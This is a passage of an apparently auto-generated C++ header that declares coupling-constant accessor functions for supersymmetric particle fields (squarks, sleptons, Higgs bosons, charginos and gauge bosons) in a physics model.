CpStauUSuconjStauconjUSu(int gI1, int gO1, int gI2, int gO2) const;\n   std::complex<double> CpUSuconjUSuconjSbSb(int gO1, int gO2, int gI1, int gI2) const;\n   std::complex<double> CpUSuconjUSuconjScSc(int gO1, int gO2, int gI1, int gI2) const;\n   std::complex<double> CpUSuconjUSuconjSdSd(int gO1, int gO2, int gI1, int gI2) const;\n   std::complex<double> CpUSuconjUSuconjSsSs(int gO1, int gO2, int gI1, int gI2) const;\n   std::complex<double> CpUSuconjUSuconjStSt(int gO1, int gO2, int gI1, int gI2) const;\n   std::complex<double> CpUSuconjUSuconjSuSu(int gO1, int gO2, int gI1, int gI2) const;\n   std::complex<double> CpAhSuconjUSu(int gI2, int gI1, int gO2) const;\n   std::complex<double> CphhSuconjUSu(int gI2, int gI1, int gO2) const;\n   std::complex<double> CpSdconjHpmconjUSu(int gI2, int gI1, int gO2) const;\n   std::complex<double> CpbarChaFdconjUSuPR(int gI1, int gO2) const;\n   std::complex<double> CpbarChaFdconjUSuPL(int gI1, int gO1) const;\n   std::complex<double> CpSdconjUSuconjVWm(int gI2, int gO2) const;\n   std::complex<double> CpSuconjUSuVG(int gI2, int gO2) const;\n   std::complex<double> CpSuconjUSuVP(int gI2, int gO2) const;\n   std::complex<double> CpSuconjUSuVZ(int gI2, int gO2) const;\n   std::complex<double> CpChiFuconjUSuPR(int gI2, int gO2) const;\n   std::complex<double> CpChiFuconjUSuPL(int gI2, int gO1) const;\n   std::complex<double> CpGluFuconjUSuPR(int gO2) const;\n   std::complex<double> CpGluFuconjUSuPL(int gO1) const;\n   std::complex<double> CpSveLUSeconjSveLconjUSe(int gO1, int gO2) const;\n   std::complex<double> CpSvmLUSeconjSvmLconjUSe(int gO1, int gO2) const;\n   std::complex<double> CpSvtLUSeconjSvtLconjUSe(int gO1, int gO2) const;\n   std::complex<double> CpUSeconjUSeVZVZ(int gO1, int gO2) const;\n   double CpUSeconjUSeconjVWmVWm(int gO1, int gO2) const;\n   double CpSveLconjUSeVWm(int gO2) const;\n   std::complex<double> CpAhAhUSeconjUSe(int gI1, int gI2, int gO1, int gO2) const;\n   std::complex<double> CphhhhUSeconjUSe(int gI1, int gI2, int gO1, int gO2) const;\n   std::complex<double> CpHpmUSeconjHpmconjUSe(int gI1, int gO1, int gI2, int gO2) const;\n   std::complex<double> CpSbUSeconjSbconjUSe(int gI1, int gO1, int gI2, int gO2) const;\n   std::complex<double> CpScUSeconjScconjUSe(int gI1, int gO1, int gI2, int gO2) const;\n   std::complex<double> CpSdUSeconjSdconjUSe(int gI1, int gO1, int gI2, int gO2) const;\n   std::complex<double> CpSeUSeconjSeconjUSe(int gI1, int gO1, int gI2, int gO2) const;\n   std::complex<double> CpUSeSmconjUSeconjSm(int gO1, int gI1, int gO2, int gI2) const;\n   std::complex<double> CpUSeSsconjUSeconjSs(int gO1, int gI1, int gO2, int gI2) const;\n   std::complex<double> CpUSeStconjUSeconjSt(int gO1, int gI1, int gO2, int gI2) const;\n   std::complex<double> CpUSeStauconjUSeconjStau(int gO1, int gI1, int gO2, int gI2) const;\n   std::complex<double> CpUSeSuconjUSeconjSu(int gO1, int gI1, int gO2, int gI2) const;\n   std::complex<double> CpAhSeconjUSe(int gI2, int gI1, int gO2) const;\n   std::complex<double> CphhSeconjUSe(int gI2, int gI1, int gO2) const;\n   std::complex<double> CpSveLHpmconjUSe(int gI2, int gO2) const;\n   std::complex<double> CpSeconjUSeVP(int gI2, int gO2) const;\n   std::complex<double> CpSeconjUSeVZ(int gI2, int gO2) const;\n   double CpFveChaconjUSePR(int , int ) const;\n   std::complex<double> CpFveChaconjUSePL(int gI2, int gO1) const;\n   std::complex<double> CpChiFeconjUSePR(int gI2, int gO2) const;\n   std::complex<double> CpChiFeconjUSePL(int gI2, int gO1) const;\n   std::complex<double> CpSveLUSmconjSveLconjUSm(int gO1, int gO2) const;\n   std::complex<double> CpSvmLUSmconjSvmLconjUSm(int gO1, int gO2) const;\n   std::complex<double> CpSvtLUSmconjSvtLconjUSm(int gO1, int gO2) const;\n   std::complex<double> CpUSmconjUSmVZVZ(int gO1, int gO2) const;\n   double CpUSmconjUSmconjVWmVWm(int gO1, int gO2) const;\n   double CpSvmLconjUSmVWm(int gO2) const;\n   std::complex<double> CpAhAhUSmconjUSm(int gI1, int gI2, int gO1, int gO2) const;\n   std::complex<double> CphhhhUSmconjUSm(int gI1, int gI2, int gO1, int gO2) const;\n   std::complex<double> CpHpmUSmconjHpmconjUSm(int gI1, int gO1, int gI2, int gO2) const;\n   std::complex<double> CpSbUSmconjSbconjUSm(int gI1, int gO1, int gI2, int gO2) const;\n   std::complex<double> CpScUSmconjScconjUSm(int gI1, int gO1, int gI2, int gO2) const;\n   std::complex<double> CpSdUSmconjSdconjUSm(int gI1, int gO1, int gI2, int gO2) const;\n   std::complex<double> CpSeUSmconjSeconjUSm(int gI1, int gO1, int gI2, int gO2) const;\n   std::complex<double> CpSmUSmconjSmconjUSm(int gI1, int gO1, int gI2, int gO2) const;\n   std::complex<double> CpUSmSsconjUSmconjSs(int gO1, int gI1, int gO2, int gI2) const;\n   std::complex<double> CpUSmStconjUSmconjSt(int gO1, int gI1, int gO2, int gI2) const;\n   std::complex<double> CpUSmStauconjUSmconjStau(int gO1, int gI1, int gO2, int gI2) const;\n   std::complex<double> CpUSmSuconjUSmconjSu(int gO1, int gI1, int gO2, int gI2) const;\n   std::complex<double> CpAhSmconjUSm(int gI2, int gI1, int gO2) const;\n   std::complex<double> CphhSmconjUSm(int gI2, int gI1, int gO2) const;\n   std::complex<double> CpSvmLHpmconjUSm(int gI2, int gO2) const;\n   std::complex<double> CpSmconjUSmVP(int gI2, int gO2) const;\n   std::complex<double> CpSmconjUSmVZ(int gI2, int gO2) const;\n   double CpFvmChaconjUSmPR(int , int ) const;\n   std::complex<double> CpFvmChaconjUSmPL(int gI2, int gO1) const;\n   std::complex<double> CpChiFmconjUSmPR(int gI2, int gO2) const;\n   std::complex<double> CpChiFmconjUSmPL(int gI2, int gO1) const;\n   std::complex<double> CpSveLUStauconjSveLconjUStau(int gO1, int gO2) const;\n   std::complex<double> CpSvmLUStauconjSvmLconjUStau(int gO1, int gO2) const;\n   std::complex<double> CpSvtLUStauconjSvtLconjUStau(int gO1, int gO2) const;\n   std::complex<double> CpUStauconjUStauVZVZ(int gO1, int gO2) const;\n   double CpUStauconjUStauconjVWmVWm(int gO1, int gO2) const;\n   double CpSvtLconjUStauVWm(int gO2) const;\n   std::complex<double> CpAhAhUStauconjUStau(int gI1, int gI2, int gO1, int gO2) const;\n   std::complex<double> CphhhhUStauconjUStau(int gI1, int gI2, int gO1, int gO2) const;\n   std::complex<double> CpHpmUStauconjHpmconjUStau(int gI1, int gO1, int gI2, int gO2) const;\n   std::complex<double> CpSbUStauconjSbconjUStau(int gI1, int gO1, int gI2, int gO2) const;\n   std::complex<double> CpScUStauconjScconjUStau(int gI1, int gO1, int gI2, int gO2) const;\n   std::complex<double> CpSdUStauconjSdconjUStau(int gI1, int gO1, int gI2, int gO2) const;\n   std::complex<double> CpSeUStauconjSeconjUStau(int gI1, int gO1, int gI2, int gO2) const;\n   std::complex<double> CpSmUStauconjSmconjUStau(int gI1, int gO1, int gI2, int gO2) const;\n   std::complex<double> CpSsUStauconjSsconjUStau(int gI1, int gO1, int gI2, int gO2) const;\n   std::complex<double> CpStUStauconjStconjUStau(int gI1, int gO1, int gI2, int gO2) const;\n   std::complex<double> CpStauUStauconjStauconjUStau(int gI1, int gO1, int gI2, int gO2) const;\n   std::complex<double> CpUStauSuconjUStauconjSu(int gO1, int gI1, int gO2, int gI2) const;\n   std::complex<double> CpAhStauconjUStau(int gI2, int gI1, int gO2) const;\n   std::complex<double> CphhStauconjUStau(int gI2, int gI1, int gO2) const;\n   std::complex<double> CpSvtLHpmconjUStau(int gI2, int gO2) const;\n   std::complex<double> CpStauconjUStauVP(int gI2, int gO2) const;\n   std::complex<double> CpStauconjUStauVZ(int gI2, int gO2) const;\n   double CpFvtChaconjUStauPR(int , int ) const;\n   std::complex<double> CpFvtChaconjUStauPL(int gI2, int gO1) const;\n   std::complex<double> CpChiFtauconjUStauPR(int gI2, int gO2) const;\n   std::complex<double> CpChiFtauconjUStauPL(int gI2, int gO1) const;\n   std::complex<double> CpSveLUSsconjSveLconjUSs(int gO1, int gO2) const;\n   std::complex<double> CpSvmLUSsconjSvmLconjUSs(int gO1, int gO2) const;\n   std::complex<double> CpSvtLUSsconjSvtLconjUSs(int gO1, int gO2) const;\n   std::complex<double> CpUSsconjUSsVZVZ(int gO1, int gO2) const;\n   double CpUSsconjUSsconjVWmVWm(int gO1, int gO2) const;\n   std::complex<double> CpAhAhUSsconjUSs(int gI1, int gI2, int gO1, int gO2) const;\n   std::complex<double> CphhhhUSsconjUSs(int gI1, int gI2, int gO1, int gO2) const;\n   std::complex<double> CpHpmUSsconjHpmconjUSs(int gI1, int gO1, int gI2, int gO2) const;\n   std::complex<double> CpSeUSsconjSeconjUSs(int gI1, int gO1, int gI2, int gO2) const;\n   std::complex<double> CpSmUSsconjSmconjUSs(int gI1, int gO1, int gI2, int gO2) const;\n   std::complex<double> CpUSsconjUSsconjSbSb(int gO1, int gO2, int gI1, int gI2) const;\n   std::complex<double> CpUSsconjUSsconjScSc(int gO1, int gO2, int gI1, int gI2) const;\n   std::complex<double> CpUSsconjUSsconjSdSd(int gO1, int gO2, int gI1, int gI2) const;\n   std::complex<double> CpUSsconjUSsconjSsSs(int gO1, int gO2, int gI1, int gI2) const;\n   std::complex<double> CpUSsconjUSsconjStSt(int gO1, int gO2, int gI1, int gI2) const;\n   std::complex<double> CpUSsconjUSsconjSuSu(int gO1, int gO2, int gI1, int gI2) const;\n   std::complex<double> CpUSsStauconjUSsconjStau(int gO1, int gI1, int gO2, int gI2) const;\n   std::complex<double> CpAhSsconjUSs(int gI2, int gI1, int gO2) const;\n   std::complex<double> CphhSsconjUSs(int gI2, int gI1, int gO2) const;\n   std::complex<double> CpHpmScconjUSs(int gI2, int gI1, int gO2) const;\n   std::complex<double> CpScconjUSsVWm(int gI2, int gO2) const;\n   std::complex<double> CpSsconjUSsVG(int gI2, int gO2) const;\n   std::complex<double> CpSsconjUSsVP(int gI2, int gO2) const;\n   std::complex<double> CpSsconjUSsVZ(int gI2, int gO2) const;\n   std::complex<double> CpFcChaconjUSsPR(int gI2, int gO2) const;\n   std::complex<double> CpFcChaconjUSsPL(int gI2, int gO1) const;\n   std::complex<double> CpChiFsconjUSsPR(int gI2, int gO2) const;\n   std::complex<double> CpChiFsconjUSsPL(int gI2, int gO1) const;\n   std::complex<double> CpGluFsconjUSsPR(int gO2) const;\n   std::complex<double> CpGluFsconjUSsPL(int gO1) const;\n   std::complex<double> CpSveLUScconjSveLconjUSc(int gO1, int gO2) const;\n   std::complex<double> CpSvmLUScconjSvmLconjUSc(int gO1, int gO2) const;\n   std::complex<double> CpSvtLUScconjSvtLconjUSc(int gO1, int gO2) const;\n   std::complex<double> CpUScconjUScVZVZ(int gO1, int gO2) const;\n   double CpUScconjUScconjVWmVWm(int gO1, int gO2) const;\n   std::complex<double> CpAhAhUScconjUSc(int gI1, int gI2, int gO1, int gO2) const;\n   std::complex<double> CphhhhUScconjUSc(int gI1, int gI2, int gO1, int gO2) const;\n   std::complex<double> CpHpmUScconjHpmconjUSc(int gI1, int gO1, int gI2, int gO2) const;\n   std::complex<double> CpUScconjUScconjSbSb(int gO1, int gO2, int gI1, int gI2) const;\n   std::complex<double> CpUScconjUScconjScSc(int gO1, int gO2, int gI1, int gI2) const;\n   std::complex<double> CpUScconjUScconjSdSd(int gO1, int gO2, int gI1, int gI2) const;\n   std::complex<double> CpUScconjUScconjSsSs(int gO1, int gO2, int gI1, int gI2) const;\n   std::complex<double> CpUScconjUScconjStSt(int gO1, int gO2, int gI1, int gI2) const;\n   std::complex<double> CpUScconjUScconjSuSu(int gO1, int gO2, int gI1, int gI2) const;\n   std::complex<double> CpUScSeconjUScconjSe(int gO1, int gI1, int gO2, int gI2) const;\n   std::complex<double> CpUScSmconjUScconjSm(int gO1, int gI1, int gO2, int gI2) const;\n   std::complex<double> CpUScStauconjUScconjStau(int gO1, int gI1, int gO2, int gI2) const;\n   std::complex<double> CpAhScconjUSc(int gI2, int gI1, int gO2) const;\n   std::complex<double> CphhScconjUSc(int gI2, int gI1, int gO2) const;\n   std::complex<double> CpSsconjHpmconjUSc(int gI2, int gI1, int gO2) const;\n   std::complex<double> CpbarChaFsconjUScPR(int gI1, int gO2) const;\n   std::complex<double> CpbarChaFsconjUScPL(int gI1, int gO1) const;\n   std::complex<double> CpScconjUScVG(int gI2, int gO2) const;\n   std::complex<double> CpScconjUScVP(int gI2, int gO2) const;\n   std::complex<double> CpScconjUScVZ(int gI2, int gO2) const;\n   std::complex<double> CpSsconjUScconjVWm(int gI2, int gO2) const;\n   std::complex<double> CpChiFcconjUScPR(int gI2, int gO2) const;\n   std::complex<double> CpChiFcconjUScPL(int gI2, int gO1) const;\n   std::complex<double> CpGluFcconjUScPR(int gO2) const;\n   std::complex<double> CpGluFcconjUScPL(int gO1) const;\n   std::complex<double> CpSveLUSbconjSveLconjUSb(int gO1, int gO2) const;\n   std::complex<double> CpSvmLUSbconjSvmLconjUSb(int gO1, int gO2) const;\n   std::complex<double> CpSvtLUSbconjSvtLconjUSb(int gO1, int gO2) const;\n   std::complex<double> CpUSbconjUSbVZVZ(int gO1, int gO2) const;\n   double CpUSbconjUSbconjVWmVWm(int gO1, int gO2) const;\n   std::complex<double> CpAhAhUSbconjUSb(int gI1, int gI2, int gO1, int gO2) const;\n   std::complex<double> CphhhhUSbconjUSb(int gI1, int gI2, int gO1, int gO2) const;\n   std::complex<double> CpHpmUSbconjHpmconjUSb(int gI1, int gO1, int gI2, int gO2) const;\n   std::complex<double> CpUSbconjUSbconjSbSb(int gO1, int gO2, int gI1, int gI2) const;\n   std::complex<double> CpUSbconjUSbconjScSc(int gO1, int gO2, int gI1, int gI2) const;\n   std::complex<double> CpUSbconjUSbconjSdSd(int gO1, int gO2, int gI1, int gI2) const;\n   std::complex<double> CpUSbconjUSbconjSsSs(int gO1, int gO2, int gI1, int gI2) const;\n   std::complex<double> CpUSbconjUSbconjStSt(int gO1, int gO2, int gI1, int gI2) const;\n   std::complex<double> CpUSbconjUSbconjSuSu(int gO1, int gO2, int gI1, int gI2) const;\n   std::complex<double> CpUSbSeconjUSbconjSe(int gO1, int gI1, int gO2, int gI2) const;\n   std::complex<double> CpUSbSmconjUSbconjSm(int gO1, int gI1, int gO2, int gI2) const;\n   std::complex<double> CpUSbStauconjUSbconjStau(int gO1, int gI1, int gO2, int gI2) const;\n   std::complex<double> CpAhSbconjUSb(int gI2, int gI1, int gO2) const;\n   std::complex<double> CphhSbconjUSb(int gI2, int gI1, int gO2) const;\n   std::complex<double> CpHpmStconjUSb(int gI2, int gI1, int gO2) const;\n   std::complex<double> CpSbconjUSbVG(int gI2, int gO2) const;\n   std::complex<double> CpSbconjUSbVP(int gI2, int gO2) const;\n   std::complex<double> CpSbconjUSbVZ(int gI2, int gO2) const;\n   std::complex<double> CpStconjUSbVWm(int gI2, int gO2) const;\n   std::complex<double> CpFtChaconjUSbPR(int gI2, int gO2) const;\n   std::complex<double> CpFtChaconjUSbPL(int gI2, int gO1) const;\n   std::complex<double> CpChiFbconjUSbPR(int gI2, int gO2) const;\n   std::complex<double> CpChiFbconjUSbPL(int gI2, int gO1) const;\n   std::complex<double> CpGluFbconjUSbPR(int gO2) const;\n   std::complex<double> CpGluFbconjUSbPL(int gO1) const;\n   std::complex<double> CpSveLUStconjSveLconjUSt(int gO1, int gO2) const;\n   std::complex<double> CpSvmLUStconjSvmLconjUSt(int gO1, int gO2) const;\n   std::complex<double> CpSvtLUStconjSvtLconjUSt(int gO1, int gO2) const;\n   std::complex<double> CpUStconjUStVZVZ(int gO1, int gO2) const;\n   double CpUStconjUStconjVWmVWm(int gO1, int gO2) const;\n   std::complex<double> CpAhAhUStconjUSt(int gI1, int gI2, int gO1, int gO2) const;\n   std::complex<double> CphhhhUStconjUSt(int gI1, int gI2, int gO1, int gO2) const;\n   std::complex<double> CpHpmUStconjHpmconjUSt(int gI1, int gO1, int gI2, int gO2) const;\n   std::complex<double> CpSeUStconjSeconjUSt(int gI1, int gO1, int gI2, int gO2) const;\n   std::complex<double> CpSmUStconjSmconjUSt(int gI1, int gO1, int gI2, int gO2) const;\n   std::complex<double> CpUStconjUStconjSbSb(int gO1, int gO2, int gI1, int gI2) const;\n   std::complex<double> CpUStconjUStconjScSc(int gO1, int gO2, int gI1, int gI2) const;\n   std::complex<double> CpUStconjUStconjSdSd(int gO1, int gO2, int gI1, int gI2) const;\n   std::complex<double> CpUStconjUStconjSsSs(int gO1, int gO2, int gI1, int gI2) const;\n   std::complex<double> CpUStconjUStconjStSt(int gO1, int gO2, int gI1, int gI2) const;\n   std::complex<double> CpUStconjUStconjSuSu(int gO1, int gO2, int gI1, int gI2) const;\n   std::complex<double> CpUStStauconjUStconjStau(int gO1, int gI1, int gO2, int gI2) const;\n   std::complex<double> CpAhStconjUSt(int gI2, int gI1, int gO2) const;\n   std::complex<double> CphhStconjUSt(int gI2, int gI1, int gO2) const;\n   std::complex<double> CpSbconjHpmconjUSt(int gI2, int gI1, int gO2) const;\n   std::complex<double> CpbarChaFbconjUStPR(int gI1, int gO2) const;\n   std::complex<double> CpbarChaFbconjUStPL(int gI1, int gO1) const;\n   std::complex<double> CpSbconjUStconjVWm(int gI2, int gO2) const;\n   std::complex<double> CpStconjUStVG(int gI2, int gO2) const;\n   std::complex<double> CpStconjUStVP(int gI2, int gO2) const;\n   std::complex<double> CpStconjUStVZ(int gI2, int gO2) const;\n   std::complex<double> CpChiFtconjUStPR(int gI2, int gO2) const;\n   std::complex<double> CpChiFtconjUStPL(int gI2, int gO1) const;\n   std::complex<double> CpGluFtconjUStPR(int gO2) const;\n   std::complex<double> CpGluFtconjUStPL(int gO1) const;\n   std::complex<double> CpSveLUhhconjSveL(int gO2) const;\n   std::complex<double> CpSvmLUhhconjSvmL(int gO2) const;\n   std::complex<double> CpSvtLUhhconjSvtL(int gO2) const;\n   std::complex<double> CpbargWmgWmUhh(int gO1) const;\n   std::complex<double> CpbargWmCgWmCUhh(int gO1) const;\n   std::complex<double> CpbargZgZUhh(int gO1) const;\n   std::complex<double> CpUhhVZVZ(int gO2) const;\n   std::complex<double> CpUhhconjVWmVWm(int gO2) const;\n   std::complex<double> CpSveLUhhUhhconjSveL(int gO1, int gO2) const;\n   std::complex<double> CpSvmLUhhUhhconjSvmL(int gO1, int gO2) const;\n   std::complex<double> CpSvtLUhhUhhconjSvtL(int gO1, int gO2) const;\n   std::complex<double> CpUhhUhhVZVZ(int gO1, int gO2) const;\n   std::complex<double> CpUhhUhhconjVWmVWm(int gO1, int gO2) const;\n   std::complex<double> CpAhAhUhhUhh(int gI1, int gI2, int gO1, int gO2) const;\n   std::complex<double> CphhhhUhhUhh(int gI1, int gI2, int gO1, int gO2) const;\n   std::complex<double> CpUhhUhhHpmconjHpm(int gO1, int gO2, int gI1, int gI2) const;\n   std::complex<double> CpUhhUhhSbconjSb(int gO1, int gO2, int gI1, int gI2) const;\n   std::complex<double> CpUhhUhhScconjSc(int gO1, int gO2, int gI1, int gI2) const;\n   std::complex<double> CpUhhUhhSdconjSd(int gO1, int gO2, int gI1, int gI2) const;\n   std::complex<double> CpUhhUhhSeconjSe(int gO1, int gO2, int gI1, int gI2) const;\n   std::complex<double> CpUhhUhhSmconjSm(int gO1, int gO2, int gI1, int gI2) const;\n   std::complex<double> CpUhhUhhSsconjSs(int gO1, int gO2, int gI1, int gI2) const;\n   std::complex<double> CpUhhUhhStconjSt(int gO1, int gO2, int gI1, int gI2) const;\n   std::complex<double> CpUhhUhhStauconjStau(int gO1, int gO2, int gI1, int gI2) const;\n   std::complex<double> CpUhhUhhSuconjSu(int gO1, int gO2, int gI1, int gI2) const;\n   std::complex<double> CpAhAhUhh(int gI1, int gI2, int gO2) const;\n   std::complex<double> CphhhhUhh(int gI1, int gI2, int gO2) const;\n   std::complex<double> CpUhhHpmconjHpm(int gO2, int gI2, int gI1) const;\n   std::complex<double> CpUhhSbconjSb(int gO2, int gI2, int gI1) const;\n   std::complex<double> CpUhhScconjSc(int gO2, int gI2, int gI1) const;\n   std::complex<double> CpUhhSdconjSd(int gO2, int gI2, int gI1) const;\n   std::complex<double> CpUhhSeconjSe(int gO2, int gI2, int gI1) const;\n   std::complex<double> CpUhhSmconjSm(int gO2, int gI2, int gI1) const;\n   std::complex<double> CpUhhSsconjSs(int gO2, int gI2, int gI1) const;\n   std::complex<double> CpUhhStconjSt(int gO2, int gI2, int gI1) const;\n   std::complex<double> CpUhhStauconjStau(int gO2, int gI2, int gI1) const;\n   std::complex<double> CpUhhSuconjSu(int gO2, int gI2, int gI1) const;\n   std::complex<double> CpbarChaChaUhhPR(int gI1, int gI2, int gO2) const;\n   std::complex<double> CpbarChaChaUhhPL(int gI1, int gI2, int gO1) const;\n   std::complex<double> CpChiChiUhhPR(int gI1, int gI2, int gO2) const;\n   std::complex<double> CpChiChiUhhPL(int gI1, int gI2, int gO1) const;\n   std::complex<double> CpAhUhhVZ(int gI2, int gO2) const;\n   std::complex<double> CpUhhHpmconjVWm(int gO2, int gI2) const;\n   double CpbarFbFbUhhPR(int gO2) const;\n   double CpbarFbFbUhhPL(int gO1) const;\n   double CpbarFcFcUhhPR(int gO2) const;\n   double CpbarFcFcUhhPL(int gO1) const;\n   double CpbarFdFdUhhPR(int gO2) const;\n   double CpbarFdFdUhhPL(int gO1) const;\n   double CpbarFeFeUhhPR(int gO2) const;\n   double CpbarFeFeUhhPL(int gO1) const;\n   double CpbarFmFmUhhPR(int gO2) const;\n   double CpbarFmFmUhhPL(int gO1) const;\n   double CpbarFsFsUhhPR(int gO2) const;\n   double CpbarFsFsUhhPL(int gO1) const;\n   double CpbarFtFtUhhPR(int gO2) const;\n   double CpbarFtFtUhhPL(int gO1) const;\n   double CpbarFtauFtauUhhPR(int gO2) const;\n   double CpbarFtauFtauUhhPL(int gO1) const;\n   double CpbarFuFuUhhPR(int gO2) const;\n   double CpbarFuFuUhhPL(int gO1) const;\n   std::complex<double> CpbargWmgWmUAh(int gO1) const;\n   std::complex<double> CpbargWmCgWmCUAh(int gO1) const;\n   std::complex<double> CpSveLUAhUAhconjSveL(int gO1, int gO2) const;\n   std::complex<double> CpSvmLUAhUAhconjSvmL(int gO1, int gO2) const;\n   std::complex<double> CpSvtLUAhUAhconjSvtL(int gO1, int gO2) const;\n   std::complex<double> CpUAhUAhVZVZ(int gO1, int gO2) const;\n   std::complex<double> CpUAhUAhconjVWmVWm(int gO1, int gO2) const;\n   std::complex<double> CpAhAhUAhUAh(int gI1, int gI2, int gO1, int gO2) const;\n   std::complex<double> CpUAhUAhhhhh(int gO1, int gO2, int gI1, int gI2) const;\n   std::complex<double> CpUAhUAhHpmconjHpm(int gO1, int gO2, int gI1, int gI2) const;\n   std::complex<double> CpUAhUAhSbconjSb(int gO1, int gO2, int gI1, int gI2) const;\n   std::complex<double> CpUAhUAhScconjSc(int gO1, int gO2, int gI1, int gI2) const;\n   std::complex<double> CpUAhUAhSdconjSd(int gO1, int gO2, int gI1, int gI2) const;\n   std::complex<double> CpUAhUAhSeconjSe(int gO1, int gO2, int gI1, int gI2) const;\n   std::complex<double> CpUAhUAhSmconjSm(int gO1, int gO2, int gI1, int gI2) const;\n   std::complex<double> CpUAhUAhSsconjSs(int gO1, int gO2, int gI1, int gI2) const;\n   std::complex<double> CpUAhUAhStconjSt(int gO1, int gO2, int gI1, int gI2) const;\n   std::complex<double> CpUAhUAhStauconjStau(int gO1, int gO2, int gI1, int gI2) const;\n   std::complex<double> CpUAhUAhSuconjSu(int gO1, int gO2, int gI1, int gI2) const;\n   std::complex<double> CpAhUAhhh(int gI2, int gO2, int gI1) const;\n   std::complex<double> CpUAhHpmconjHpm(int gO2, int gI2, int gI1) const;\n   std::complex<double> CpUAhSbconjSb(int gO2, int gI2, int gI1) const;\n   std::complex<double> CpUAhScconjSc(int gO2, int gI2, int gI1) const;\n   std::complex<double> CpUAhSdconjSd(int gO2, int gI2, int gI1) const;\n   std::complex<double> CpUAhSeconjSe(int gO2, int gI2, int gI1) const;\n   std::complex<double> CpUAhSmconjSm(int gO2, int gI2, int gI1) const;\n   std::complex<double> CpUAhSsconjSs(int gO2, int gI2, int gI1) const;\n   std::complex<double> CpUAhStconjSt(int gO2, int gI2, int gI1) const;\n   std::complex<double> CpUAhStauconjStau(int gO2, int gI2, int gI1) const;\n   std::complex<double> CpUAhSuconjSu(int gO2, int gI2, int gI1) const;\n   std::complex<double> CpbarChaChaUAhPR(int gI1, int gI2, int gO2) const;\n   std::complex<double> CpbarChaChaUAhPL(int gI1, int gI2, int gO1) const;\n   std::complex<double> CpChiChiUAhPR(int gI1, int gI2, int gO2) const;\n   std::complex<double> CpChiChiUAhPL(int gI1, int gI2, int gO1) const;\n   std::complex<double> CpUAhhhVZ(int gO2, int gI2) const;\n   std::complex<double> CpUAhHpmconjVWm(int gO2, int gI2) const;\n   std::complex<double> CpbarFbFbUAhPR(int gO2) const;\n   std::complex<double> CpbarFbFbUAhPL(int gO1) const;\n   std::complex<double> CpbarFcFcUAhPR(int gO2) const;\n   std::complex<double> CpbarFcFcUAhPL(int gO1) const;\n   std::complex<double> CpbarFdFdUAhPR(int gO2) const;\n   std::complex<double> CpbarFdFdUAhPL(int gO1) const;\n   std::complex<double> CpbarFeFeUAhPR(int gO2) const;\n   std::complex<double> CpbarFeFeUAhPL(int gO1) const;\n   std::complex<double> CpbarFmFmUAhPR(int gO2) const;\n   std::complex<double> CpbarFmFmUAhPL(int gO1) const;\n   std::complex<double> CpbarFsFsUAhPR(int gO2) const;\n   std::complex<double> CpbarFsFsUAhPL(int gO1) const;\n   std::complex<double> CpbarFtFtUAhPR(int gO2) const;\n   std::complex<double> CpbarFtFtUAhPL(int gO1) const;\n   std::complex<double> CpbarFtauFtauUAhPR(int gO2) const;\n   std::complex<double> CpbarFtauFtauUAhPL(int gO1) const;\n   std::complex<double> CpbarFuFuUAhPR(int gO2) const;\n   std::complex<double> CpbarFuFuUAhPL(int gO1) const;\n   std::complex<double> CpbargWmgZUHpm(int gO2) const;\n   std::complex<double> CpbargZgWmconjUHpm(int gO1) const;\n   std::complex<double> CpbargWmCgZconjUHpm(int gO1) const;\n   std::complex<double> CpbargZgWmCUHpm(int gO2) const;\n   std::complex<double> CpconjUHpmVPVWm(int gO2) const;\n   std::complex<double> CpconjUHpmVWmVZ(int gO2) const;\n   std::complex<double> CpSveLUHpmconjSveLconjUHpm(int gO1, int gO2) const;\n   std::complex<double> CpSvmLUHpmconjSvmLconjUHpm(int gO1, int gO2) const;\n   std::complex<double> CpSvtLUHpmconjSvtLconjUHpm(int gO1, int gO2) const;\n   std::complex<double> CpUHpmconjUHpmVZVZ(int gO1, int gO2) const;\n   std::complex<double> CpUHpmconjUHpmconjVWmVWm(int gO1, int gO2) const;\n   std::complex<double> CpAhAhUHpmconjUHpm(int gI1, int gI2, int gO1, int gO2) const;\n   std::complex<double> CphhhhUHpmconjUHpm(int gI1, int gI2, int gO1, int gO2) const;\n   std::complex<double> CpHpmUHpmconjHpmconjUHpm(int gI1, int gO1, int gI2, int gO2) const;\n   std::complex<double> CpUHpmSbconjUHpmconjSb(int gO1, int gI1, int gO2, int gI2) const;\n   std::complex<double> CpUHpmScconjUHpmconjSc(int gO1, int gI1, int gO2, int gI2) const;\n   std::complex<double> CpUHpmSdconjUHpmconjSd(int gO1, int gI1, int gO2, int gI2) const;\n   std::complex<double> CpUHpmSeconjUHpmconjSe(int gO1, int gI1, int gO2, int gI2) const;\n   std::complex<double> CpUHpmSmconjUHpmconjSm(int gO1, int gI1, int gO2, int gI2) const;\n   std::complex<double> CpUHpmSsconjUHpmconjSs(int gO1, int gI1, int gO2, int gI2) const;\n   std::complex<double> CpUHpmStconjUHpmconjSt(int gO1, int gI1, int gO2, int gI2) const;\n   std::complex<double> CpUHpmStauconjUHpmconjStau(int gO1, int gI1, int gO2, int gI2) const;\n   std::complex<double> CpUHpmSuconjUHpmconjSu(int gO1, int gI1, int gO2, int gI2) const;\n   std::complex<double> CpAhHpmconjUHpm(int gI2, int gI1, int gO2) const;\n   std::complex<double> CphhHpmconjUHpm(int gI2, int gI1, int gO2) const;\n   std::complex<double> CpSbconjUHpmconjSt(int gI2, int gO2, int gI1) const;\n   std::complex<double> CpSdconjUHpmconjSu(int gI2, int gO2, int gI1) const;\n   std::complex<double> CpSsconjUHpmconjSc(int gI2, int gO2, int gI1) const;\n   std::complex<double> CpChiChaconjUHpmPR(int gI1, int gI2, int gO2) const;\n   std::complex<double> CpChiChaconjUHpmPL(int gI1, int gI2, int gO1) const;\n   std::complex<double> CpSeconjSveLconjUHpm(int gI2, int gO2) const;\n   std::complex<double> CpSmconjSvmLconjUHpm(int gI2, int gO2) const;\n   std::complex<double> CpStauconjSvtLconjUHpm(int gI2, int gO2) const;\n   std::complex<double> CpAhconjUHpmVWm(int gI2, int gO2) const;\n   std::complex<double> CphhconjUHpmVWm(int gI2, int gO2) const;\n   std::complex<double> CpHpmconjUHpmVP(int gI2, int gO2) const;\n   std::complex<double> CpHpmconjUHpmVZ(int gI2, int gO2) const;\n   double CpbarFcFsconjUHpmPR(int gO2) const;\n   double CpbarFcFsconjUHpmPL(int gO1) const;\n   double CpbarFtFbconjUHpmPR(int gO2) const;\n   double CpbarFtFbconjUHpmPL(int gO1) const;\n   double CpbarFuFdconjUHpmPR(int gO2) const;\n   double CpbarFuFdconjUHpmPL(int gO1) const;\n   double 